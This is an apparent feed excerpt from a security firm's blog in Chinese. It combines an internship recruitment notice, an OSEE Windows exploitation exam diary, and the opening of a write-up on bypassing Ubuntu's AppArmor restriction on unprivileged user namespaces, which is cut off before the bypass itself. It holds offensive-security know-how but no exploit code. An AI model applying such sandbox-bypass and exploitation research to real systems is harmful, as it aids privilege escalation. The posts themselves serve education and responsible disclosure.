<li>熟悉任一種網頁程式語言或框架(如:PHP、ASP.NET、Express.js),具備可以建立完整網頁服務的能力</li> <li>理解 <a href="https://portswigger.net/web-security/all-materials">PortSwigger Web Security Academy</a> 中的安全議題</li> <li>獨立挖掘過 0-day 漏洞,或分析過 1-day 的經驗</li> <li>具備下列其中之一經驗 <ul> <li>Web Application Exploit</li> <li>Kernel Exploit</li> <li>Windows Exploit</li> <li>Browser Exploit</li> <li>Bug Bounty</li> </ul> </li> </ul> </li> </ul> <h4 id="red-team">Red Team</h4> <ul> <li>必要條件 <ul> <li>熟悉 OWASP Web Top 10</li> <li>理解 <a href="https://portswigger.net/web-security/all-materials">PortSwigger Web Security Academy</a> 中所有的安全議題或已完成所有 Lab</li> <li>理解計算機網路的基本概念</li> <li>熟悉任一種網頁程式開發方式(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力</li> <li>熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究</li> <li>具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題</li> <li>具備可以建置、設定常見伺服器(如:Nginx、Apache、Tomcat、IIS、Active Directory)及作業系統(如:Linux、Windows)的能力</li> </ul> </li> <li>加分但<strong>非必要</strong>條件 <ul> <li>曾經獨立挖掘過 0-day 漏洞</li> <li>曾經獨立分析過已知漏洞並能撰寫 1-day Exploit</li> <li>曾經於 CTF 比賽中擔任出題者並建置過題目</li> <li>擁有 OSCP 證照或同等能力之證照</li> </ul> </li> </ul> <h3 id="應徵流程">應徵流程</h3> <p>本次甄選一共分為二個階段:</p> <h4 id="第一階段書面審查">第一階段:書面審查</h4> <p>第一階段為書面審查,會需要審查下列兩個項目</p> <ul> <li>履歷內容</li> <li>簡答題答案 <ul> <li>應徵 Research 實習生: <ul> <li>題目一:漏洞重現與分析過程 <ul> <li>請提出一個,你印象最深刻或感到有趣、於西元 2022 ~ 2025 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解詳述說明漏洞的成因、利用條件和可以造成的影響。同時,嘗試描述如何復現此漏洞或攻擊鏈,即使無法成功復現,也請記錄研究過程。報告撰寫請參考<a href="/assets/files/recruit/DEVCORE-intern_vulnerability_analysis_example.pdf">範本</a>,盡可能詳細,中英不限。</li> </ul> </li> <li>題目二:實習期間想要研究的主題 <ul> <li>請提出三個可能選擇的明確主題,並簡單說明提出的理由或想完成的內容,例如: <ul> <li>研究 OO 開源軟體,找到可 RCE 的重大風險弱點。</li> <li>研究常見的路由器,目標包括:AA-123 路由器、BB-456 無線路由器。</li> <li>研究常見的筆記平台或軟體,目標包括:XX Note、YY Note。</li> </ul> </li> </ul> </li> </ul> </li> <li>應徵 Red Team 實習生: <ul> <li>請提出兩個於西元 2022 ~ 2025 年間公開的、與 Web 攻擊面、紅隊手法、漏洞或攻擊鏈相關的技術演講,請說明為什麼挑選這些演講並解釋它們為什麼有趣。 <ul> <li>請用你的理解重新以文字詳細解釋這些演講的技術細節,整理成一份 Write-up 以 PDF 格式輸出,並提供任何你覺得可以輔助或證明你理解的附加資料。</li> <li>這些演講可以來自包含但不限於 Black Hat、DEF CON、OffensiveCon、POC、Zer0Con、Hexacon、HITCON、TROOPERS CONFERENCE 等會議。</li> </ul> </li> </ul> </li> </ul> </li> </ul> <h4 id="第二階段面試">第二階段:面試</h4> <p>此階段為 30~120 分鐘(依照組別需求而定,會另行通知)的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。</p> <h4 id="時間軸">時間軸</h4> <ul> <li>2025/07/07 - 2025/07/28 公開招募,接收履歷與第一階段審核</li> <li>2025/07/28 - 2025/08/04 通知第一階段審核結果、安排面試</li> <li>2025/08/04 - 2025/08/14 第二階段面試(若報名踴躍會提前開始面試)</li> <li>2025/08/18 前回應結果</li> <li>2025/09/01 第八屆實習計畫於當週開始</li> </ul> <h3 id="報名方式">報名方式</h3> <p>請於 <strong>2025/07/28 23:59</strong> 前完成填寫 <a href="https://forms.gle/aXKqVcbxGndAYMew8">Google 表單</a> 並上傳相關附件。以下為填寫表單的注意事項:</p> <ul> <li>檔案經上傳後無法刪除或修改,欲更新檔案請重新填寫一份表單</li> <li>您可以隨時編輯已提交的表單,或是重新填寫一份新的表單來更新報名資訊。請注意,我們會以<strong>最後一次</strong>提交的表單內容作為審核依據</li> <li>請務必於<strong>截止時間(2025/07/28 23:59)</strong> 前完成所有表單填寫與檔案上傳,逾期未完成者將視同放棄應徵資格</li> </ul> <p>報名截止後,我們會根據您提交的報名內容進行第一階段審核。審核結果將於 <strong>2025/08/01</strong> 前通知,並安排進一步的面試。最終錄取名單將於 <strong>2025/08/18</strong> 公佈,我們也會同步通知錄取情況。</p> <p>若有應徵相關問題,請一律寄信到 [email protected],如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!</p> https://devco.re/blog/2025/07/07/8th-internship-program-recruit/ https://devco.re/blog/2025/07/07/8th-internship-program-recruit Mon, 07 Jul 2025 00:00:00 +0800 從 Web 狗的視角看 OSEE — 從 0.1 開始的 Advanced Windows Exploitation 考試 <p><br /></p> <p>✅:『課程結束後一年內要考到 OSEE 證照喔』</p> <p>🍊:「安啦,有一整年能準備哪不行」</p> <p><br /></p> <p>(⏳⋯⋯)</p> <p><br /></p> <p>✅:『公司下個月開始<a href="https://training.devco.re/2025">宣傳課程</a>,到時候要有心得文唷』</p> <p>🍊:「好(默默打開 OffSec 網站排了死線前一天考試)」</p> <p><br /></p> <p>(⏳⋯⋯)</p> <p><br /></p> <p>🍊:「下禮拜就要考試了,怎麼會這樣 ヽ(゚Д゚≡゚Д゚)ノ 」</p> <p>✅:『你到底在幹嘛???』</p> <hr /> <p>這篇文算是自己準備 OSEE 考試的一點小心得,關於課程內容大家可以參考上一篇由 NiNi 撰寫的《<a href="https://devco.re/blog/2025/05/22/exp-401-osee-five-days-to-master-a-decade-of-knowledge/">EXP-401 (OSEE):用五天課程訓練通透十年的知識體系</a>》,也可以期待下禮拜 Angelboy 要出的「我獨自速通 OSEE 🐈‍⬛」!</p> <p>不過說實話,準備這個考試真的壓力很大;相較前幾個人,他們根本就是用母語考 N1 超級不公平!但如果整個研究組又只有我沒過,一定會被他們笑半天(可能不只 🤷‍♂️);為了不丟公司首席(還有自己)的臉,只好小小跳脫舒適圈、認真準備 OSEE 考試。因此這篇文章將從個人的角度出發、評估自己所擁有的技能、衡量是否符合 OSEE 考試所需的最低要求,並加以準備。如果你看完後覺得「就這樣?」,那相信你一定也能輕鬆通過號稱 OffSec 系列最難的 EXP-401 考試! (๑•̀ㅂ•́)و✧</p> <p><br /></p> <h1 id="前情提要">前情提要</h1> <p>基本上,課程內容早就忘光光。而這半年為了一些酷東西(敬請期待✨),也好幾個月沒開過 IDA Pro 了,我直到考前一個禮拜才意識到大事不妙 😨;更何況當初為了壓死線,還把考試排在一個超爛的時間點(周日早上五點)。扣掉手上在弄的酷東西、公司庶務(好歹我也是個主管 ╮(╯_╰)╭),零零總總加起來只有「三天」能讀書!</p> <p>(什麼,周休三日?研究員是沒有休假的!)</p> <p><img src="/assets/img/blog/20250702/upload_f9464b7a270903509c9c72dfad45de1d.jpeg" alt="" /></p> <p>從前一篇 NiNi 的文中相信大家已經知道,整份 OSEE 教材約有 600 頁。鑒於上次讀原文書已經是高中(<a href="https://www.amazon.com/Gray-Hat-Python-Programming-Engineers/dp/1593271921">Gray Hat Python</a> —— 嘿對,我大學沒讀過原文書XD),我決定第一天先把精力花在情蒐:找找有沒有考古題,或能從別人的心得萃取一些資訊;盡可能大膽地猜題,並想像考試時可能會遇到的坎。過程中發現 OSEE 的題目很固定,只有兩題:</p> <ul> <li>Windows Kernel 的本地提權</li> <li>UserMode App 的遠端程式碼執行</li> </ul> <p>而網路上的普遍評價都是:前者簡單到爆,後者才是整個考試的重點,跳脫 Sandbox 的部分也在這!在對考試內容大致有個輪廓後,便開始認命讀書 —— 大概是一天要讀個 200 頁才能趕得上的進度之類的。整個 OSEE 課程主要分成五個部分:</p> <ol> <li><strong>Shellcode</strong> - Windows Shellcode</li> <li><strong>VM-Escape Exploit</strong> - VMware Workstation Guest-To-Host Escape</li> <li><strong>Browser Exploit</strong> - Microsoft Edge Type Confusion</li> <li><strong>Kernel Exploit Part 1</strong> - Driver Callback Overwrite</li> <li><strong>Kernel Exploit Part 2</strong> - Unsanitized User-mode Callback</li> </ol> <p>上面的內容並非完全沒有經驗,但也不能說有經驗。你可能想說「這個人在供三小」?且聽我娓娓道來!</p> <p><br /></p> <h1 id="準備過程">準備過程</h1> <h2 id="1--windows-shellcode">1. Windows Shellcode</h2> <p>第一個章節主要涵蓋 Windows 基礎知識以及 Shell Coding 上的各種慣例。Windows 的 Shellcode 不像 Unix-Like 系統上那麼方便,短短<a href="https://shell-storm.org/shellcode/files/shellcode-909.html">十幾個 Bytes 就能跳個 Shell</a>;必須使用組合語言在各種不同的 Windows 結構中跳轉,並動態取出相對應的 Symbol 地址。因此一組 Shellcode 動輒兩、三百 Bytes 起跳,甚至利用 <a href="https://www.exploit-db.com/docs/english/18482-egg-hunter---a-twist-in-buffer-overflow.pdf">Egg Hunting</a> 也是家常便飯。</p> <p>對我來說,可以快速跳過這個章節的原因主要歸功於早期在玩<a href="https://blog.orange.tw/posts/2012-07-hacks-in-taiwan-2012-potent-pwnables-3/">皮卡丘打排球</a>時的訓練。在當時(還是 Perl 時代)的 Metasploit 還不像現在那麼穩定,因此自己寫一套 Shellcode 框架就變成一件很炫的事。而很多<a href="https://www.exploit-db.com/exploits/13529">古早的產生器</a>都會寫死一些值,導致其無法橫跨多個 Windows 版本;因此為了讓一份 Shellcode 可以跨平台,必須確實了解每行指令,並嘗試修復它們!</p> <p>因此簡單來說,這就是個用來暖身的環節 —— 考驗著學生對組合語言的熟悉程度,以及是否具備對本堂課程最最最最最基本的知識,這應該也是個順便給老師評估學生程度(?)的環節。如果上面的內容聽起來有點陌生,那你可以考慮先跳過這張證照,或認真讀讀《<a href="https://www.tenlong.com.tw/products/9787121336928">加密與解密</a>》!(台北天瓏還有賣,沒想到出到第四版了XD)</p> <p><br /></p> <h2 id="2-vm-escape-exploit">2. VM-Escape Exploit</h2> <p>從這個章節起,整個 OSEE 才算真正開始見真章!正如其名,這一章專注在「如何從虛擬機跳出來」。對我來說,這也算另一個能用經驗輾壓的章節,我約在數年前有小研究過 VMware 的攻擊面,因此無論是 VMware 的 Backdoor 機制或是基於其之上的 Drag &amp; Drop 漏洞都能駕輕就熟,印象那時還很認真逆向了 <code class="language-plaintext highlighter-rouge">vmware-vmx</code>,並找出一些漏洞(被廠商摸頭又是另個故事了 ¯\_(ツ)_/¯ )。因此如果有認真讀過下面這幾篇,那我想這個章節應該就差不多了:</p> <ul> <li>2017 - <a href="https://github.com/acama/acez.re/blob/main/The%20Weak%20Bug%20-%20Exploiting%20a%20Heap%20Overflow%20in%20VMware.md">The Weak Bug - Exploiting a Heap Overflow in VMware</a></li> <li>2017 - <a href="https://www.blackhat.com/docs/eu-17/materials/eu-17-Mandal-The-Great-Escapes-Of-Vmware-A-Retrospective-Case-Study-Of-Vmware-G2H-Escape-Vulnerabilities.pdf">The Great Escapes of VMware: A Retrospective Case Study of …</a></li> <li>2018 - <a href="https://keenlab.tencent.com/en/2018/04/23/A-bunch-of-Red-Pills-VMware-Escapes/">A bunch of Red Pills: VMware Escapes</a></li> <li>2018 - <a href="https://www.offensivecon.org/speakers/2018/zdi-team.html">L’art de l’évasion: Modern VMWare Exploitation Techniques</a></li> </ul> <p>不過,雖然我快速跳過了這章的前半,但由於當初是從「找漏洞」的視角下去學習,並沒有花太多時間著墨在「如何利用漏洞」上,因此我反而花了滿多額外的時間在複習後半段的漏洞利用,例如 LFH 機制,或是如何繞過額外的 WDEG 及 EAF 保護等。</p> <p><br /></p> <h2 id="3-browser-exploit">3. Browser Exploit</h2> <p>這應該是整個課程聽起來最高大上的部分,從這開始難度也逐漸母湯。雖然十五年前我也玩過所謂的「<a href="https://blog.orange.tw/posts/2013-07-0-day-0-day-easy-talk-happy-fuzzing/">瀏覽器漏洞</a>」。不過在當時主流還是 x86 架構,只要一個 vtable call 跳到 0x0C0C0C0C 就能輕鬆 Heap Spray 的年代(還有<a href="https://zh.wikipedia.org/zh-tw/%E4%B8%AD%E6%96%87%E4%BA%82%E7%A2%BC#%E2%80%9C%E7%83%AB%E7%83%AB%E7%83%AB%E2%80%9D%E4%B8%8E%E2%80%9C%E5%B1%AF%E5%B1%AF%E5%B1%AF%E2%80%9D">燙燙燙跟屯屯屯</a>XD) —— 此時彼時的難度絕對無法同日而語。</p> <p>回顧這幾年,我對瀏覽器漏洞的認識也還停留在基礎的 <code class="language-plaintext highlighter-rouge">addressOf</code>、<code class="language-plaintext highlighter-rouge">fakeObj</code>,或是用 String Length 去造任意讀寫。雖然這些招數在好幾年前也過時了,不過好在這些概念在底層還能通用。此外,更歸功於以前 CTF 的訓練(被 <a href="https://4ngelboy.blogspot.com/2016/03/advanced-heap-exploitation.html">Advanced Heap Exploitation</a> 摧殘後這些都是小兒科 🤷‍♂️),即使在不熟悉的平台上,漏洞該如何利用、或成因等,那些熟悉度都還在。因此反倒我更專注在複習這章的「防禦繞過」(例如 CFG、ACG)、「漏洞的武器化」(使用 Data-Only Attack 穿梭在 Assembly 跟 JavaScript 中),以及後續地繞過 Sandbox 本身。</p> <p>—— 回顧時,發現小時候自己居然還宣稱過「專精於 Windows 漏洞利用」,應該也算一種<a href="https://zh.wikipedia.org/zh-tw/%E9%84%A7%E5%AF%A7-%E5%85%8B%E9%AD%AF%E6%A0%BC%E6%95%88%E6%87%89">愚昧之巔</a> 😖。</p> <p><br /></p> <h2 id="4-kernel-exploit---part-1">4. Kernel Exploit - Part 1</h2> <p>由於長期偏科在那些「遠端利用」的漏洞,老實說這個章節對我來說真的完全空白。自己對於 Windows Kernel 的認識也還停留在早期的 <a href="https://dl.packetstormsecurity.net/papers/presentations/TokenKidnapping.pdf">Token Kidnapping</a>;或者<a href="https://devco.re/en/blog/author/angelboy/">強者我同事</a>每次分享時,偷學個一兩招。不過仔細想想,他每個禮拜都在報新洞(羨慕),算下來好像也學了不少招 😆。只是,直到去年 OSEE 課程前,我連一次 Kernel Exploit 都還沒完成過,因此就算前面應用層還能靠老本硬嗑,從這開始就真的完全陌生了,也是本次考試我最最最最最擔心的部分 😨。</p> <p>我大概花了一整天讓自己沉浸在 Windows Kernel 的世界,重新熟悉 IRQL/IOCTL、PML4/PTE、SMEP/SMAP 的概念,以及東逛逛西逛逛 KPROCESS/KTHREAD 等重要的結構。</p> <p><br /></p> <h2 id="5-kernel-exploit---part-2">5. Kernel Exploit - Part 2</h2> <p>來不及啦。怎麼可能在三天複習完 OSEE,這章整個跳過XD</p> <p>—— 不過雖然來不及,但 Win32k 常見的漏洞模式我大概還是知道,只能祈禱自己的老本還夠用(?)</p> <p><br /></p> <p>此外,這章所提到的虛擬化安全,例如 VBS、HVCI、EPT、kCFG 等。雖然我猜不會考(想想就很難出XD),但我反倒看得很開心。好好讀一讀感覺對未來也很有幫助,而最後一天就在這種 —— 輕輕鬆鬆、隨隨便便、東看看西看看的快樂氣氛下渡過!✨ 😌 🌱</p> <p><br /></p> <h1 id="考試">考試</h1> <p>由於挑了一個爛時間,前一天我特地十二點不到就上床睡覺,結果就是 —— 完 ~ 全 ~ 睡 ~ 不 ~ 著 😵‍💫 🛌 ❌。約莫早上四點提著兩罐紅牛到辦公室應試。</p> <p><img src="/assets/img/blog/20250702/upload_8de62a77c3ea1cfb7137088cb8372a58.jpeg" alt="" /></p> <p>時間一到便是 OffSec 一系列的 —— 開攝影機、How are you、I am fine thank you,還有秀護照的流程。考試開始時完全不想面對未知事物,反倒先挑了更難的 UserMode App 開局,過程中不知腦袋卡到啥還挑了一個爛方法,妄想著一步登天。寫完要戳遠端時才發現連最開始的 Leak 都失敗大崩潰,好在最後還是靠著毅力硬輾過去。解完第一題發現天亮了,為了不打擾同事星期一上班趕緊轉換地點。快 48 小時沒睡下樓梯時還小暈了一下,又重新認識到睡覺很重要XD</p> <p>回到家洗洗睡起來趕快看下一題。相較前一題,Kernel 提權的洞真的簡單到不可思議。但小丑如我,連一開始的確認環境都花了好多時間。本地提權部分好像就較沒啥好說的,比較值得一提的是<del>鑑於有同事<a href="#">因為報告寫太水</a>沒過</del>,我花了八個小時寫報告(據說還算快的),最終在考試結束前一小時提早交卷結束整個考試流程!🎉</p> <p><br /></p> <h1 id="後續">後續</h1> <p>都考過了,應該可以結束這篇了吧 —— 附上人權!</p> <p><img src="/assets/img/blog/20250702/upload_c19a76bdfc7a47e02b2bd978aa89683f.png" alt="" /></p> <p>說實話,OSEE 難度整體難度不高。不過自己還在卡在很多不應該的地方,著實該打屁股。除了沒睡飽、沒<del>洗澡能好好</del>思考,還有不是母語這些顯而易見的藉口外,事後還是覆盤了下自己還有哪些「可以做得更好」的地方?</p> <p>其實整個流程看下來我也知道,最欠缺的就是「實作」—— 這導致雖然能搞定所有的關鍵流程,反而我都卡在一些莫名其妙的小細節上。尤其 CTF 的背景又容易在一些不切實際的地方上鑽牛角尖,因此這裡給考生的一點小建議是:</p> <ol> <li>絕對要把課堂上的 Extra Miles 做過一遍,有好好做完一定會過!</li> <li>OSEE 著重在最基礎的「你懂不懂」,因此不用擔心沒有實際的漏洞挖掘經驗會無法應試。</li> <li>CTF 上那些炫招不會出現,當你開始思考用 Partial Overwrite 搞事時你已經走火入魔了。</li> </ol> <p>給自己的一個小反思是 —— 這些年好像太把技能特化在「找漏洞」這件事上,對於「記憶體上的利用」反倒沒有太多著墨,說起來著實有些慚愧;不過想想自己只是隻 Web 狗,又覺得好像還好(汪)。相信如果有 WEB-401 的話我也能速通! 💪</p> <p>—— 坐等 OffSec 出 WEB-401 😜</p> <p><br /></p> <h1 id="推薦嗎">推薦嗎?</h1> <p>平心而論,這是一次很棒的體驗!不僅課程內容充實、跳脫了舒適圈,甚至還能跟好朋友一起讀書!然而最令我驚訝的是「課程講師的專業度」(聽說 OSEE 全球只有四位講師),他們不僅對課程的掌握度極高、對每個細節滾瓜爛熟,甚至能解答你對於 Windows 所有天馬行空的怪問題。我相信既使是已經能速通的 Angelboy,也從課堂上學到不少新東西(吧)(跑XD</p> <p>不過,無論是想系統性地了解 Windows 的漏洞利用體系,或是 CTF 仔想要驗證一下自己的能力到哪,我想 EXP-401 (OSEE)絕對是你的最佳選擇! 👍</p> https://devco.re/blog/2025/07/02/webdog-view-on-osee-advanced-windows-exploitation-from-0.1/ https://devco.re/blog/2025/07/02/webdog-view-on-osee-advanced-windows-exploitation-from-0.1 Wed, 02 Jul 2025 00:00:00 +0800 The Journey of Bypassing Ubuntu’s Unprivileged Namespace Restriction <p><a href="/blog/2025/06/26/the-journey-of-bypassing-ubuntus-unprivileged-namespace-restriction-en/">English Version</a>, <a href="/blog/2025/06/26/the-journey-of-bypassing-ubuntus-unprivileged-namespace-restriction/">中文版本</a></p> <p>近期 Ubuntu 實作了新的沙盒機制來減少攻擊面,然而其乍看之下堅不可摧,但經過研究後發現,繞過方式並沒有想像中那麼困難!本文將介紹我們如何從核心層級著手找出繞過方法,並分享研究過程中遇到的一些有趣故事。</p> <h2 id="1-introduction">1. Introduction</h2> <h3 id="11-ubuntus-new-sandbox-model">1.1. Ubuntu’s New Sandbox Model</h3> <p>長久以來,Linux 提供了 <strong>非特權使用者命名空間(Unprivileged User Namespace)</strong> 的機制,讓使用者能在隔離環境中執行程式,並且在允許程式在命名空間內可以執行高權限的行為。雖然該機制提供使用者更多的彈性,但因為能與更多子系統或驅動程式互動,也間接暴露出更多核心攻擊面。為了解決此問題,Ubuntu 在 2024 年四月底,也就是 Pwn2Own 結束後不久,發布了一篇<a href="https://ubuntu.com/blog/whats-new-in-security-for-ubuntu-24-04-lts">安全相關的文章</a>,內容提到他們實作了一套基於 AppArmor 的沙盒機制,能有效地限制不受信任的程式使用非特權使用者命名空間和子系統 io_uring,藉此降低潛在的攻擊面。</p> <p>隨後,在 2024 年九月,Ubuntu 又公開了一份<a href="https://static.sched.com/hosted_files/lsseu2024/ed/Restricting%20Unprivileged%20User%20Namespaces%20In%20Ubuntu.pdf">投影片</a>,進一步深入介紹這套沙盒的架構。內容主要說明了他們目前面臨的問題:攻擊者持續以非特權使用者命名空間為媒介,利用核心模組的漏洞進行提權。此外,他們也詳細解釋了整個保護機制的實作,並評估了導入沙盒後的預期成效。</p> <p><img src="/assets/img/blog/20250626/upload_42ba484ec23b76cbbb9a0d60184bf5d1.png" alt="" /></p> <p>由於只有特定程式能建立非特權使用者命名空間,這讓攻擊者能接觸到的核心子系統大幅減少,像是過去經常出現提權漏洞的 netfilter 和 net/sched,再也沒有辦法被存取。這個保護機制看似滴水不漏,甚至讓部分 Linux 核心研究員開始認為,作為歷年來 Pwn2Own 唯一的 Linux 提權目標,Ubuntu 可能已經變得難以被突破。</p> <h3 id="12-emergence-of-the-bypass-method">1.2. Emergence of the Bypass Method</h3> <p>然而,就在今年 2 月 16 日,正當我在滑 Twitter 上的文章時,突然看到有人說:這個用 AppArmor 實作的保護機制竟然可以簡單地被繞過!怎麼可能有這種事?這則留言成功引起我的注意了。</p> <p><img src="/assets/img/blog/20250626/upload_aa9dd31f3f5a20bfe166d06729f5544e.png" alt="" /></p> <p>如果那位研究員所言屬實,那就代表目前至少有一個繞過方式能繞過沙盒。存在已知解,限時內找出解法,這不就是一道 CTF Misc 題嗎?剛好算了算時間,Pwn2Own 2025 差不多也快開始了,於是我決定著手分析 Ubuntu 是怎麼透過 AppArmor 實作這套限制機制,並嘗試找出該研究員提到的繞過方式,把它當作一道 500 分的 CTF 題來解。</p> <p>沒想到我想得太難了,繞過手法過於簡單,所以這題大概…只值 100 分吧!雖然我對 AppArmor 的機制不太熟,但因為分析方向很明確,從開始研究到找出繞過方式,整個過程不到三個小時。後來我甚至認為,只要有看到那則推文並實際分析,應該都能找到這個方法。既然能建立非特權使用者命名空間,那接下來的目標就單純不少:從那些 Ubuntu 預設開啟、但 kernelCTF 沒有啟用的網路核心模組上,找一個可以利用的漏洞。看來今年有望再參加一次 Pwn2Own 囉!</p> <p>又過了幾天,Pwn2Own 總算公布了這次比賽的規則。沒想到這次的 Linux 提權目標竟然不是 Ubuntu,而是換成了 Red Hat Enterprise Linux(RHEL)。又因為 RHEL 沒有針對非特權使用者命名空間做任何限制,因此也不需要什麼繞過方式。也就是說,我剛找到沒多久的繞過方法,變得一點用處都沒有。</p> <p><img src="/assets/img/blog/20250626/upload_58836702284ef31386e2d2f737ef8883.png" alt="" /></p> <h3 id="13-vendor-response">1.3. Vendor Response</h3> <p>當知道 Ubuntu 不再是今年 Pwn2Own 的比賽目標後,我馬上透過 ZDI 回報了這個繞過方法,並預期由 ZDI 跟 Ubuntu 的安全團隊協作進行修復。不過就在等待 ZDI 回覆的這段期間,一開始提到這項保護機制能被繞過的研究員 @roddux,在 3 月 21 日公開了他當初所說的<a href="https://x.com/roddux/status/1903028631514837107">繞過技巧</a>,雖然跟我找到的方法在概念上有些類似,但實際上是不同的成因!幾天後,Qualys Team 也注意到 @roddux 的貼文,並在 3 月 27 日公開了他們早在年初就發現的<a href="https://www.qualys.com/2025/three-bypasses-of-Ubuntu-unprivileged-user-namespace-restrictions.txt">三個繞過手法</a>,還附上了詳細的技術成因說明。原來這些方法早在年初就回報給 Ubuntu 安全團隊,只是一直沒對外公開(可能是因為還在想要怎麼修)。直到類似手法在網路上被公開,他們才釋出當時提交給 Ubuntu 安全團隊的報告。</p> <p>身為一個研究員,看著一個個繞過技巧和分析細節被公開,我卻因為已經回報給 ZDI 而無法對外分享自己的研究。隔沒幾天,我甚至還沉不住氣寄信給 ZDI,詢問他們是否能取消我的回報。還好 orange 耐心地向我分析取消回報後的優劣,我才找回冷靜,再寄了一封信請他們取消我先前取消回報的要求。</p> <p>最終 ZDI 在 4 月 27 日審查了我的回報,但他們回覆說他們對這種類型的問題沒興趣,並拒絕後續的處理。沒想到我朝思暮想等了兩個多月,換來的竟然是這種回覆。雖然錯愕,但我還是馬上改回報給 Ubuntu 安全團隊,畢竟這個繞過手法可能還沒被揭露。結果不到一天,我就收到其中一位沙盒機制的維護者 John 的回覆。他表示會立即確認這個問題,並在後續通知我更新的狀況。這是我第一次回報安全漏洞給 Ubuntu,他們積極的處理態度和友善的溝通方式讓整個過程非常順利,與他們合作的感覺非常愉快。</p> <p>在經過了將近一個月的審查與討論,Ubuntu 安全團隊最後判定我回報的問題,是先前 Qualys Team 發現的繞過手法的變種。這個變種手法需要在特定核心參數 <code class="language-plaintext highlighter-rouge">/proc/sys/kernel/apparmor_restrict_unprivileged_unconfined</code> 被關閉的情況下才會生效。不過這個參數從 Ubuntu 25.04 開始就預設啟用了,因此新版系統不受影響。至於舊版本的 Ubuntu,官方先前曾發布過<a href="https://discourse.ubuntu.com/t/understanding-apparmor-user-namespace-restriction/58007#p-148026-restrict-unprivileged-unconfined-profile-changes">說明文章</a>,教使用者如何手動啟用這個參數,避免被類似繞過手法影響。</p> <p>這篇文章紀錄了我找到繞過手法的方式、技術細節分析以及回報的過程。雖然 Qualys Team 的文章已經涵蓋了這個手法的核心概念,但我認為這篇文章仍有一定的價值,因為我們的分析切入點不同:他們是從使用者空間的應用層面開始分析,而我是從核心出發來理解整個繞過的原理。希望能對各位有幫助!</p> <h2 id="2-apparmor-101">2. AppArmor 101</h2> <h3 id="21-overview">2.1. Overview</h3> <p><strong>AppArmor(Application Armor)</strong> 是一種 Linux 安全模組(Linux Security Module, LSM)的實作,提供強制存取控制(MAC)機制,用來限制程式對系統資源的存取。系統管理員可以為特定程式定義 AppArmor 設定檔(profile),限制它的行為與權限。如果一個程式沒有對應的 AppArmor 設定檔,它會以 <strong><code class="language-plaintext highlighter-rouge">unconfined</code> 設定檔</strong>執行,也就是說 AppArmor 不會對它施加任何限制。</p> <p>每個 AppArmor 設定檔都針對特定執行檔,定義其存取控制規則,包含存取的檔案、系統能力(capabilities)以及網路權限。啟用的設定檔可以運作於兩種模式之一:</p> <ul> <li>強制模式(Enforced mode):當程式行為違反設定規則時,會被阻擋並記錄下來。</li> <li>回報模式(Complain mode):違規行為僅會被記錄,不會實際阻擋。</li> </ul> <p>下方以 <code class="language-plaintext highlighter-rouge">ipa_verify</code> 設定檔作為範例:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>abi &lt;abi/4.0&gt;, include &lt;tunables/global&gt; profile ipa_verify /usr/bin/ipa_verify flags=(unconfined) { userns, # Site-specific additions and overrides. See local/README for details. include if exists &lt;local/ipa_verify&gt; } </code></pre></div></div> <ul> <li><code class="language-plaintext highlighter-rouge">profile ipa_verify</code>:定義了一個名為 <code class="language-plaintext highlighter-rouge">ipa_verify</code> 的設定檔。</li> <li><code class="language-plaintext highlighter-rouge">/usr/bin/ipa_verify</code>:這個設定檔套用在 <code class="language-plaintext highlighter-rouge">/usr/bin/ipa_verify</code> 這個執行檔上,當該執行檔被執行時,設定檔會自動載入。</li> <li><code class="language-plaintext highlighter-rouge">flags=(unconfined)</code>:表示這個設定檔處於 unconfined 狀態,也就是雖然載入了設定檔,但實際上不會限制該程式的行為。</li> <li><code class="language-plaintext highlighter-rouge">userns</code>:允許該程式操作使用者命名空間。</li> </ul> <p>使用者可以透過 <code class="language-plaintext highlighter-rouge">aa-status</code> 命令列出目前系統中已啟用的 AppArmor 設定檔及其狀態。以下是一個 JSON 格式的輸出範例:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{ "version": "2", "profiles": { "/snap/snapd/23258/usr/lib/snapd/snap-confine": "enforce", "/usr/sbin/sssd": "complain", "Discord": "unconfined" }, "processes": { "/usr/sbin/rsyslogd": [ { "profile": "rsyslogd", "pid": "1176", "status": "enforce" } ] } } </code></pre></div></div> <h3 id="22-behavior-in-ubuntu">2.2. Behavior in Ubuntu</h3> <p>使用者可以透過 <code class="language-plaintext highlighter-rouge">unshare</code> 命令,在非特權使用者命名空間下執行任意命令。不過,自從 Ubuntu 引入新的安全機制後,執行這個命令會出現 <strong>“Operation not permitted”(-EPERM)</strong> 錯誤,表示操作被拒絕。</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aaa@aaa:~/<span class="nv">$ </span>unshare <span class="nt">-r</span> <span class="nt">-n</span> <span class="nt">-m</span> /bin/bash unshare: write failed /proc/self/uid_map: Operation not permitted </code></pre></div></div> <p>此時如果使用 <code class="language-plaintext highlighter-rouge">dmesg</code> 命令查看核心日誌,會看到與 AppArmor 事件有關的日誌。</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aaa@aaa:~/<span class="nv">$ </span><span class="nb">sudo </span>dmesg <span class="o">[</span>...] <span class="o">[</span>302291.394909] audit: <span class="nb">type</span><span class="o">=</span>1400 audit<span class="o">(</span>1739761091.573:545<span class="o">)</span>: <span class="nv">apparmor</span><span class="o">=</span><span class="s2">"AUDIT"</span> <span class="nv">operation</span><span class="o">=</span><span class="s2">"userns_create"</span> <span class="nv">class</span><span class="o">=</span><span class="s2">"namespace"</span> <span class="nv">info</span><span class="o">=</span><span class="s2">"Userns create - transitioning profile"</span> <span class="nv">profile</span><span class="o">=</span><span class="s2">"unconfined"</span> <span class="nv">pid</span><span class="o">=</span>29466 <span class="nb">comm</span><span class="o">=</span><span class="s2">"unshare"</span> <span class="nv">requested</span><span class="o">=</span><span class="s2">"userns_create"</span> <span class="nv">target</span><span class="o">=</span><span class="s2">"unprivileged_userns"</span> <span class="o">[</span>302291.395747] audit: <span class="nb">type</span><span class="o">=</span>1400 audit<span class="o">(</span>1739761091.574:546<span class="o">)</span>: <span class="nv">apparmor</span><span class="o">=</span><span class="s2">"DENIED"</span> 